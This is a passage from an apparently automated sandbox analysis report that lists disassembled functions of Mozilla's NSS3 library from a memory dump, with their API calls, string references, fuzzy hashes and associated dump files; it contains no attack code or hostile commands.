PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C664F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C664F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664FC8

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction ID: 2ac62ba7dff3fee9f7dd21be046cea95f236de9391d5fff346251b62a1ffedd7
Opcode Fuzzy Hash: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction Fuzzy Hash: 2F81B371908301AFE701CF26D850BABB7E4ABC5348F148929F958DBA40E771E905CB9B

Function 6C6A5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C6A5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C6A5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C6A5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C6A5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C6A5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5E18
TlsGetValue.KERNEL32 ref: 6C6A5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C6A5E72
PR_Unlock.NSS3(?), ref: 6C6A5E8B

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

Strings

d, xrefs: 6C6A5C36
tokens=[0x%x=<%s>], xrefs: 6C6A5D3D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction ID: 67d2fa1bc4b4cefd73094192f9e51fc6835de4a1769b98e93e94a216269452af
Opcode Fuzzy Hash: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction Fuzzy Hash: F871B3B1A05501ABEB00DFA4DC45BAE7275BF4631CF140435E80A9AB46EB32ED17879E

Function 6C698F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C699582), ref: 6C698F5B

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C698F6A

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C698FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C698FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C77D820,6C699576), ref: 6C698FF9
DER_GetInteger_Util.NSS3(?), ref: 6C69901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C69903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C699062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C69912D
free.MOZGLUE(00000000), ref: 6C699136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C699145

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction ID: cc9e516a6502a86337e54dc69d0e1f7cc63ba288f598162578b36d4168f8a15f
Opcode Fuzzy Hash: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction Fuzzy Hash: 9251F1B2A042019FEB00CF28DC41B9BB7E8BF99358F044529EC5997741E731E955CB9A

Function 6C64AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C64AF47

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

FreeLibrary.KERNEL32(?), ref: 6C64AF6D
free.MOZGLUE(?), ref: 6C64AFA4
free.MOZGLUE(?), ref: 6C64AFAA
PR_ExitMonitor.NSS3 ref: 6C64AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C64AFF5
PR_ExitMonitor.NSS3 ref: 6C64B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C64B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B03C

Strings

Unloaded library %s, xrefs: 6C64B023
%s decr => %d, xrefs: 6C64AFF0

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction ID: 4052977f948da2556666b9c4f95db5b8d006a66feda73761434380debadff623
Opcode Fuzzy Hash: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction Fuzzy Hash: 473103B4A04101BBEB009F61DC48E5AB775EB4670DB18C135EC0687A41F722E824C7AD

Function 6C696C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C696C91
extern:, xrefs: 6C696C7E
rdb:, xrefs: 6C696C69
dbm:, xrefs: 6C696C3A
sql:, xrefs: 6C696C52
dbm, xrefs: 6C696CA4

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction ID: 0fe2c62c29fcbf0ef25a135404f7e84b729a72df7edb3cf82263d452de9dfbd1
Opcode Fuzzy Hash: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction Fuzzy Hash: D301A2A170630277FA4027BA7E4AF66355C9F41259F144531FE04E0981EB92E61480E9

Function 6C6A4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6678F8), ref: 6C6A4E6D

Part of subcall function 6C6409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6406A2,00000000,?), ref: 6C6409F8
Part of subcall function 6C6409E0: malloc.MOZGLUE(0000001F), ref: 6C640A18
Part of subcall function 6C6409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C640A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6678F8), ref: 6C6A4ED9

Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C697703,?,00000000,00000000), ref: 6C695942
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C697703), ref: 6C695954
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C69596A
Part of subcall function 6C695920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C695984
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C695999
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959BA
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6959D3
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959F5
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C695A0A
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C695A2E
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C695A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EB3

Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A484C
Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A486D
Part of subcall function 6C6A4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C6A4EB8,?), ref: 6C6A4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EC0

Part of subcall function 6C6A4470: TlsGetValue.KERNEL32(00000000,?,6C667296,00000000), ref: 6C6A4487
Part of subcall function 6C6A4470: EnterCriticalSection.KERNEL32(?,?,?,6C667296,00000000), ref: 6C6A44A0
Part of subcall function 6C6A4470: PR_Unlock.NSS3(?,?,?,?,6C667296,00000000), ref: 6C6A44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C77DCB0,00000000), ref: 6C6A4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C6A501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A506B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction ID: 92bd4522a208fcd338fb28edf80d380f17c0a449611768c9f1f27572a16d81e7
Opcode Fuzzy Hash: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction Fuzzy Hash: 8D5124B1D00602ABEB019FA5EC01AAA76B4FF0635CF144535E80682A11FB71DD56CB9E

Function 6C64ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
malloc.MOZGLUE(00000001), ref: 6C64ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
TlsGetValue.KERNEL32 ref: 6C64AD3C
calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
PR_Unlock.NSS3 ref: 6C64ADC0
free.MOZGLUE(00000000), ref: 6C64AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C64AE58
free.MOZGLUE(00000000), ref: 6C64AE69
free.MOZGLUE(?), ref: 6C64AE78
PR_Unlock.NSS3 ref: 6C64AE8C
free.MOZGLUE(?), ref: 6C64AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64AEC7

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction ID: 6106790eaf8e23609cd09d723854ff11c9532eb50bce59898821e2ab9ce1c20f
Opcode Fuzzy Hash: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction Fuzzy Hash: 0051CEB1E01216ABDF00DFA8DC45AAE77B4BB06349F14C135D814A7B12E731A915CBEE

Function 6C724C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C724CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724CFD
sqlite3_value_text16.NSS3(?), ref: 6C724D44

Strings

another row available, xrefs: 6C724D20
out of memory, xrefs: 6C724C78, 6C724C9E
abort due to ROLLBACK, xrefs: 6C724D27, 6C724D33
invalid, xrefs: 6C724CF1
API call with %s database connection pointer, xrefs: 6C724CF6
no more rows available, xrefs: 6C724D2E
unknown error, xrefs: 6C724D56
bad parameter or other API misuse, xrefs: 6C724D05

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction ID: d20f984e5d4986f1caa022d4c81b56f581435f2f232f62a3877840c1ca14a411
Opcode Fuzzy Hash: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction Fuzzy Hash: A531CB73E08811A7D7084A2CAB127A57721B783318F150535C9244BF55C7BCAC91B7E6

Function 6C722D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C722D9F

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

sqlite3_exec.NSS3(?,?,6C722F70,?,?), ref: 6C722DF9
sqlite3_free.NSS3(00000000), ref: 6C722E2C
sqlite3_free.NSS3(?), ref: 6C722E3A
sqlite3_free.NSS3(?), ref: 6C722E52
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C722E62
sqlite3_free.NSS3(?), ref: 6C722E70
sqlite3_free.NSS3(?), ref: 6C722E89
sqlite3_free.NSS3(?), ref: 6C722EBB
sqlite3_free.NSS3(?), ref: 6C722ECB
sqlite3_free.NSS3(00000000), ref: 6C722F3E
sqlite3_free.NSS3(?), ref: 6C722F4C

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction ID: b39af2a6352e5ed4a62118d0c17db90a238e48776222c0a02910b1962d4f26b3
Opcode Fuzzy Hash: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction Fuzzy Hash: E36190B5E112058BEB10CF68D989B9EB7B5EF88368F154038DC15A7701EB39E845CBA1

Function 6C667C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,Function_00097E60,00000000,?,?,?,?,6C6E067D,6C6E1C60,00000000), ref: 6C667C81

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

TlsGetValue.KERNEL32 ref: 6C667CA0
EnterCriticalSection.KERNEL32(?), ref: 6C667CB4
PR_Unlock.NSS3 ref: 6C667CCF

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32 ref: 6C667D04
EnterCriticalSection.KERNEL32(?), ref: 6C667D1B
realloc.MOZGLUE(-00000050), ref: 6C667D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C667DF4
PR_Unlock.NSS3 ref: 6C667E0E

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction ID: cd0d8d44517823f72526ae685aab853acb2ea2a1c4186cb4cc9c4450451460b2
Opcode Fuzzy Hash: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction Fuzzy Hash: D5510271A05104AFDB009F2ADC44E6537F6EB42399F154539ED0887B21EB319855CB9A

Function 6C6B7870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6C6B91C5), ref: 6C6B788F

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
